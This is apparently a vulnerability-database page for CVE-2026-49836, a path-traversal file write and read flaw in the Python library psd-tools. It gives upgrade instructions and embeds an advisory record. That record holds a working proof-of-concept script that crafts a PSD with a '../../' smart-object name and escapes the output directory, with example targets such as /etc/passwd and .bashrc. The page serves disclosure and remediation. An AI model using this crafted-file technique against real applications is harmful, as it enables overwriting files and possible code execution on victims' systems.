CVE-2026-49836: Psd tools Psd-tools Vulnerable To Arbitrary File Vulnerability
MODERATECVE-2026-49836 is a MODERATE psd-tools vulnerable to arbitrary file vulnerability (CWE-73: External Control of File Name or Path) affecting Psd tools libraries in the PyPI ecosystem. The issue involves psd-tools vulnerable to arbitrary file write via smart-object filename. Remediation is available by upgrading affected packages to version 1.17.1.
CVE-2026-49836 at a Glance
How to Fix CVE-2026-49836
To remediate this vulnerability, upgrade all affected Psd tools dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install psd-tools>=1.17.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show psd-tools
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-49836, inspect your installed packages using pip:
pip show psd-tools
Analyze the terminal output to locate any version of Psd tools in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.1), your application is affected.
Note: The pip show psd-tools command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Psd tools, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49836 Affected Psd tools Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
psd-tools
|
PyPI |
< 1.17.1
|
1.17.1
|
References
Frequently Asked Questions
What is CVE-2026-49836?
Which Psd tools versions are affected?
What version fixes CVE-2026-49836?
Is psd-tools affected?
What CWE is associated with CVE-2026-49836?
How can I check PyPI dependencies for CVE-2026-49836?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2rmg-vrx8-9j2f",
"modified" : "2026-09-10T21:47:11Z",
"published" : "2026-07-09T23:20:47Z",
"aliases" : [ "CVE-2026-49836" ],
"summary" : "psd-tools vulnerable to arbitrary file write via smart-object filename",
"details" : "# psd-tools: arbitrary file write/read via smart-object path traversal\n\n## Summary\n\nIn `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.\n\nA secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.\n\n## Details\n\n### Write path — `SmartObject.save()` (primary)\n\n`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):\n\n```python\ndef save(self, filename: str | None = None) -> None:\n if filename is None:\n filename = self.filename # untrusted, straight from the file\n with open(filename, \"wb\") as f:\n f.write(self.data) # attacker-controlled bytes\n```\n\n`self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.\n\n### Read path — `SmartObject.open()` / `.data` for external kind (secondary)\n\nFor `kind == \"external\"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory=\"/safe/out\")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.\n\n## Proof of concept\n\nStandalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.\n\n```bash\npip install psd-tools==1.17.0\npython poc.py\n```\n\n`poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would:\n\n```python\nimport os, shutil, tempfile\nfrom psd_tools import PSDImage\nfrom psd_tools.constants import Tag\n\nMARKER = b\"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\\n\"\nNAMES = {\"control\": \"embedded-export.bin\", \"exploit\": \"../../PWNED-psd-tools-poc.bin\"}\n\ndef craft(name, out):\n psd = PSDImage.open(os.path.join(os.path.dirname(__file__), \"base.psd\"))\n uuid = next(l.smart_object.unique_id for l in psd.descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):\n for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:\n if item.uuid.strip(\"\\x00\") == uuid:\n item.filename, item.data = name, MARKER\n psd.save(out)\n\ndef extract(psd_path, outdir, watch):\n psd = PSDImage.open(psd_path)\n before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n cwd = os.getcwd(); os.chdir(outdir)\n try:\n for l in psd.descendants():\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\":\n l.smart_object.save()\n finally:\n os.chdir(cwd)\n after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n return sorted(after - before)\n\ndef main():\n tmp = tempfile.mkdtemp(prefix=\"poc_\")\n try:\n escaped = {}\n for tag, name in NAMES.items():\n psd = os.path.join(tmp, tag + \".psd\"); craft(name, psd)\n so = next(l.smart_object for l in PSDImage.open(psd).descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n print(f\"[{tag}] parsed embedded name = {so.filename!r}\")\n outdir = os.path.join(tmp, tag, \"app\", \"extracted\"); os.makedirs(outdir)\n written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)\n esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc\n for w in written:\n print(f\"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}\")\n ok = (not escaped[\"control\"] and escaped[\"exploit\"]\n and all(open(w, \"rb\").read() == MARKER for w in escaped[\"exploit\"]))\n print(\"\\nVERDICT:\", \"ARBITRARY FILE WRITE CONFIRMED\" if ok else \"not reproduced\")\n return 0 if ok else 1\n finally:\n shutil.rmtree(tmp, ignore_errors=True)\n\nraise SystemExit(main())\n```\n\nOutput (`psd-tools 1.17.0`):\n\n```\n[control] parsed embedded name = 'embedded-export.bin'\n[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir\n[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'\n[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir\n\nVERDICT: ARBITRARY FILE WRITE CONFIRMED\n```\n\nAn absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.\n\n## Impact\n\nAny application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.\n\nFor external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.\n\n## Severity\n\n**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.\n\n## Patch\n\nFixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:\n\n- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.\n- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.\n\n## Weaknesses\n\nCWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).\n\n## Resources\n\n- Fix PR: https://github.com/psd-tools/psd-tools/pull/657\n- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1\n- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`\n (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`\n (source).\n- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —\n compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The\n `save()` write logic is unchanged since the `SmartObject` API was introduced,\n so all releases exposing it are affected.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "psd-tools"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.17.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.17.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-2rmg-vrx8-9j2f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49836"
}, {
"type" : "WEB",
"url" : "https://github.com/psd-tools/psd-tools/pull/657"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/psd-tools/psd-tools"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/psd-tools/PYSEC-2026-2969.yaml"
}, {
"type" : "WEB",
"url" : "http://github.com/psd-tools/psd-tools/releases/tag/v1.17.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-73" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-09T23:20:47Z",
"nvd_published_at" : null
}
}